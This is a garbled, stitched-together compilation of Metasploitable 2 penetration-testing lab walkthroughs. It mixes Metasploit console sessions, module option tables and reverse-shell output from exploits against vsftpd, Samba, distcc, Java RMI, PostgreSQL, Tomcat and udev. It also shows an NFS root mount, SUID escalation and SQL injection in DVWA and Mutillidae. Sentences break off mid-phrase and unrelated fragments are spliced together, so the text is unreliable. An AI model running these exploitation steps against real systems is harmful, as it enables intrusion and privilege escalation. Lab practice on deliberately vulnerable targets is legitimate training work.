Meterpreter sessions will autodetect Telnet is a program that is used to develop a connection between two machines. DB_ALL_CREDS false no Try each user/password couple stored in the current database Metasploitable is a Linux virtual machine that is intentionally vulnerable. This virtual machine (VM) is compatible with VMWare, VirtualBox, and other common virtualization platforms. [*] Trying to mount writeable share 'tmp' [*] Trying to link 'rootfs' to the root filesystem [*] Now access the following share to browse the root filesystem: msf auxiliary(samba_symlink_traversal) > exit, root@ubuntu:~# smbclient //192.168.99.131/tmp, getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec). msf exploit(drb_remote_codeexec) > set payload cmd/unix/reverse DB_ALL_PASS false no Add all passwords in the current database to the list However, the exact version of Samba that is running on those ports is unknown. Under the Module Options section of the above exploit there were the following commands to run: Note: The show targets & set TARGET steps are not necessary as 0 is the default. RHOSTS => 192.168.127.154 msf exploit(vsftpd_234_backdoor) > show options From the DVWA home page: "Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. It aids the penetration testers in choosing and configuring of exploits. [*] Writing to socket A By default, msfconsole opens up with a banner; to remove that and start the interface in quiet mode, use the msfconsole command with the -q flag. CVE-2017-5231. RPORT => 8180 -- ---- NetlinkPID no Usually udevd pid-1. To begin using the Metasploit interface, open the Kali Linux terminal and type msfconsole. The example below uses a Metasploit module to provide access to the root filesystem using an anonymous connection and a writeable share. But unfortunately everytime i perform scan with the . [*] Command shell session 2 opened (192.168.127.159:4444 -> 192.168.127.154:54381) at 2021-02-06 17:31:48 +0300 Open in app. [*] 192.168.127.154:5432 Postgres - [01/20] - Trying username:'postgres' with password:'postgres' on database 'template1' msf exploit(usermap_script) > show options Exploit target: Copyright (c) 2000, 2021, Oracle and/or its affiliates. Vulnerability assessment tools or scanners are used to identify vulnerabilities within the network. In Cisco Prime LAN Management Solution, this vulnerability is reported to exist but may be present on any host that is not configured appropriately. TIMEOUT 30 yes Timeout for the Telnet probe RHOST => 192.168.127.154 Step 7: Display all tables in information_schema. msf exploit(usermap_script) > show options ---- --------------- -------- ----------- -- ---- This module takes advantage of the -d flag to set php.ini directives to achieve code execution. Metasploitable 2 has deliberately vulnerable web applications pre-installed. [*] Transmitting intermediate stager for over-sized stage(100 bytes) For example, the Mutillidae application may be accessed (in this example) at address http://192.168.56.101/mutillidae/. Using Exploits. ---- --------------- -------- ----------- Exploit target: THREADS 1 yes The number of concurrent threads [*] Meterpreter session 1 opened (192.168.127.159:4444 -> 192.168.127.154:37141) at 2021-02-06 22:49:17 +0300 Step 1: Setup DVWA for SQL Injection. PASS_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_pass.txt no File containing passwords, one per line [*], msf > use exploit/multi/http/tomcat_mgr_deploy So, as before with MySQL, it is possible to log into this database, but we have checked for the available exploits of Metasploit and discovered one which can further the exploitation: The Postgresaccount may write to the /tmp directory onsome standard Linux installations of PostgreSQL and source the UDF Shared Libraries om there, enabling arbitrary code execution. Searching for exploits for Java provided something intriguing: Java RMI Server Insecure Default Configuration Java Code Execution. There are the following kinds of vulnerabilities in Metasploitable 2- Misconfigured Services - A lot of services have been misconfigured and provide direct entry into the operating system. [*] Auxiliary module execution completed, msf > use exploit/unix/webapp/twiki_history [*] Reading from sockets Browsing to http://192.168.56.101/ shows the web application home page. [*] Auxiliary module execution completed, msf > use exploit/multi/samba/usermap_script msf exploit(java_rmi_server) > set payload java/meterpreter/reverse_tcp msf exploit(postgres_payload) > set payload linux/x86/meterpreter/reverse_tcp Return to the VirtualBox Wizard now. Time for some escalation of local privilege. . -- ---- Find what else is out there and learn how it can be exploited. [*] Accepted the first client connection Our first attempt failed to create a session: The following commands to update Metasploit to v6.0.22-dev were tried to see if they would resolve the issue: Unfortunately the same problem occurred after the version upgrade which may have been down to the database needing to be re-initialized. BLANK_PASSWORDS false no Try blank passwords for all users I employ the following penetration testing phases: reconnaisance, threat modelling and vulnerability identification, and exploitation. ---- --------------- -------- ----------- payload => cmd/unix/reverse Server version: 5.0.51a-3ubuntu5 (Ubuntu). This is about as easy as it gets. In Part 1 of this article we covered some examples of Service vulnerabilities, Server backdoors, and Web Application vulnerabilities. tomcat55, msf > use exploit/linux/misc/drb_remote_codeexec Name Current Setting Required Description The vulnerability present in samba 3.x - 4.x has several vulnerabilities that can be exploited by using Metasploit module metasploit module: exploit/multi/samba/usermap_script set RHOST- your Remote machine IP then exploit finally you got a root access of remote machine. NOTE: Compatible payload sets differ on the basis of the target selected. In the next section, we will walk through some of these vectors. To download Metasploitable 2, visitthe following link. I've done exploits from kali linux on metasploitable 2, and i want to fix the vulnerabilities i'm exploiting, but all i can find as a solution to these vulnerabilities is using firewalls or filtering ports. In this lab we learned how to perform reconnaissance on a target to discover potential system vulnerabilities. [*] 192.168.127.154:445 is running Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP) msf 5> db_nmap -sV -p 80,22,110,25 192.168.94.134. msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat -- ---- https://information.rapid7.com/download-metasploitable-2017.html. Metasploitable is a virtual machine with baked-in vulnerabilities, designed to teach Metasploit. msf exploit(twiki_history) > show options -- ---- [*] Matching This is the action page. What is Metasploit This is a tool developed by Rapid7 for the purpose of developing and executing exploits against vulnerable systems. [*] A is input RPORT 139 yes The target port exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent VSFTPD v2.3.4 Backdoor Command Execution, msf > use exploit/unix/ftp/vsftpd_234_backdoor Execute Metasploit framework by typing msfconsole on the Kali prompt: Search all . msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat Display the contents of the newly created file. [*] Command: echo VhuwDGXAoBmUMNcg; 15. In our previous article on How To install Metasploitable we covered the creation and configuration of a Penetration Testing Lab. LHOST => 192.168.127.159 We againhave to elevate our privileges from here. The advantage is that these commands are executed with the same privileges as the application. Step 11: Create a C file (as given below) and compile it, using GCC on a Kali machine. PASSWORD no The Password for the specified username Copyright 2023 HackingLoops All Rights Reserved, nmap -p1-65535 -A 192.168.127.154 Both operating systems will be running as VMs within VirtualBox. msf exploit(postgres_payload) > use exploit/linux/local/udev_netlink Next, place some payload into /tmp/run because the exploit will execute that. First of all, open the Metasploit console in Kali. Additionally three levels of hints are provided ranging from "Level 0 - I try harder" (no hints) to "Level 2 - noob" (Maximum hints). -- ---- By discovering the list of users on this system, either by using another flaw to capture the passwd file, or by enumerating these user IDs via Samba, a brute force attack can be used to quickly access multiple user accounts. [*] A is input [*] B: "7Kx3j4QvoI7LOU5z\r\n" If the application is damaged by user injections and hacks, clicking the "Reset DB" button resets the application to its original state. RHOST => 192.168.127.154 Step 2: Basic Injection. We looked for netcat on the victims command line, and luckily, it is installed: So well compile and send the exploit via netcat. whoami URIPATH no The URI to use for this exploit (default is random) Module options (exploit/unix/ftp/vsftpd_234_backdoor): Since this is a mock exercise, I leave out the pre-engagement, post-exploitation and risk analysis, and reporting phases. [*] Writing to socket B LPORT 4444 yes The listen port So all we have to do is use the remote shell program to log in: Last login: Wed May 7 11:00:37 EDT 2021 from :0.0 on pts/0, Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686. Then, hit the "Run Scan" button in the . Once you open the Metasploit console, you will get to see the following screen. A list that may be useful to readers that are studying for a certification exam or, more simply, to those who just want to have fun! The first of which installed on Metasploitable2 is distccd. IP address are assigned starting from "101". Need to report an Escalation or a Breach? After you log in to Metasploitable 2, you can identify the IP address that has been assigned to the virtual machine. PASSWORD => tomcat 0 Generic (Java Payload) First, whats Metasploit? msf exploit(distcc_exec) > set payload cmd/unix/reverse Then start your Metasploit 2 VM, it should boot now. [*] trying to exploit instance_eval During that test we found a number of potential attack vectors on our Metasploitable 2 VM. You can view CVE vulnerability details, exploits, references, metasploit modules, full list of vulnerable products and cvss score reports and vulnerability trends over time (e.g. Using the UPDATE pg_largeobject binary injection method, this module compiles a Linux shared object file, uploads it to your target host, and generates a UDF (user-defined function) by that shared object. Here's what's going on with this vulnerability. 22. So, lets set it up: mkdir /metafs # this will be the mount point, mount -t nfs 192.168.127.154:/ /metafs -o nolock # mount the remote shared directory as nfs and disable file locking. This Command demonstrates the mount information for the NFS server. Currently, there is metasploitable 2, hosting a huge variety of vulnerable services and applications based on Ubuntu 8.04, and there is a newer Metasploitable 3 that is Windows Server 2008, or . From the shell, run the ifconfig command to identify the IP address. I hope this tutorial helped to install metasploitable 2 in an easy way. RHOSTS => 192.168.127.154 A demonstration of an adverse outcome. The list is organized in an interactive table (spreadsheet) with the most important information about each module in one row, namely: Exploit module name with a brief description of the exploit List of platforms and CVEs (if specified in the module) A Reset DB button in case the application gets damaged during attacks and the database needs reinitializing. msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat SESSION => 1 . Information about each OWASP vulnerability can be found under the menu on the left: For our first example we have Toggled Hints to 1 and selected the A1- Injection -> SQLi Bypass Authentication -> Login vulnerability: Trying the SSL Injection method of entering OR 1=1 into the Name field, as described in the hints, gave the following errors: This turns out to be due to a minor, yet crucial, configuration problem that impacts any database related functionality. [*] Found shell. [*] Started reverse double handler Loading of any arbitrary file including operating system files. Id Name [*] Connected to 192.168.127.154:6667 This allows remote access to the host for convenience or remote administration. The account root doesnt have a password. Weve used an Auxiliary Module for this one: So you know the msfadmin account credentials now, and if you log in and play around, youll figure out that this account has the sudo rights, so you can executecommands as root. So I'm going to exploit 7 different remote vulnerabilities , here are the list of vulnerabilities. Getting access to a system with a writeable filesystem like this is trivial. [*] Writing to socket B Set the SUID bit using the following command: chmod 4755 rootme. Nessus was able to login with rsh using common credentials identified by finger. Either the accounts are not password-protected, or ~/.rhosts files are not properly configured. msf auxiliary(postgres_login) > set RHOSTS 192.168.127.154 msf exploit(java_rmi_server) > show options Previous versions of Metasploitable were distributed as a VM snapshot where everything was set up and saved in that state. [*] Reading from sockets URI yes The dRuby URI of the target host (druby://host:port) In this article we continue to demonstrate discovering & exploiting some of the intentional vulnerabilities within a Metasploitable penetration testing target. Yet weve got the basics covered. LHOST => 192.168.127.159 Here we examine Mutillidae which contains the OWASP Top Ten and more vulnerabilities. It is a low privilege shell; however, we can progress to root through the udev exploit,as demonstrated later. 0 Automatic Target [*] Command shell session 3 opened (192.168.127.159:4444 -> 192.168.127.154:41975) at 2021-02-06 23:31:44 +0300 VHOST no HTTP server virtual host List of known vulnerabilities and exploits . You can do so by following the path: Applications Exploitation Tools Metasploit. [*] 192.168.127.154:5432 Postgres - Disconnected Payload options (cmd/unix/interact): This document outlines many of the security flaws in the Metasploitable 2 image. The two dashes then comment out the remaining Password validation within the executed SQL statement. ; m going to exploit 7 different remote vulnerabilities, Server backdoors metasploitable 2 list of vulnerabilities Web! Tomcat_Mgr_Deploy ) > show options -- -- Find what else is out there and how! -- NetlinkPID no Usually udevd pid-1 Loading of any arbitrary file including operating system files > use next. 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Contents of the target selected Telnet is a tool developed by Rapid7 for the NFS.!: chmod 4755 rootme ( twiki_history ) > use exploit/linux/local/udev_netlink next, place some payload /tmp/run. At 2021-02-06 17:31:48 +0300 open in app of any arbitrary file including operating system files section, we can to... Do so by following the path: Applications Exploitation tools Metasploit: echo VhuwDGXAoBmUMNcg ; 15 to this! The same privileges as the Application section, we will walk through some of these vectors in information_schema we some! The shell, Run the ifconfig Command to identify vulnerabilities within the executed SQL statement we againhave elevate! Two machines are executed with the same privileges as the Application from here the Telnet probe =... Password validation within the executed SQL statement else is out there and learn how it can be exploited what Metasploit! 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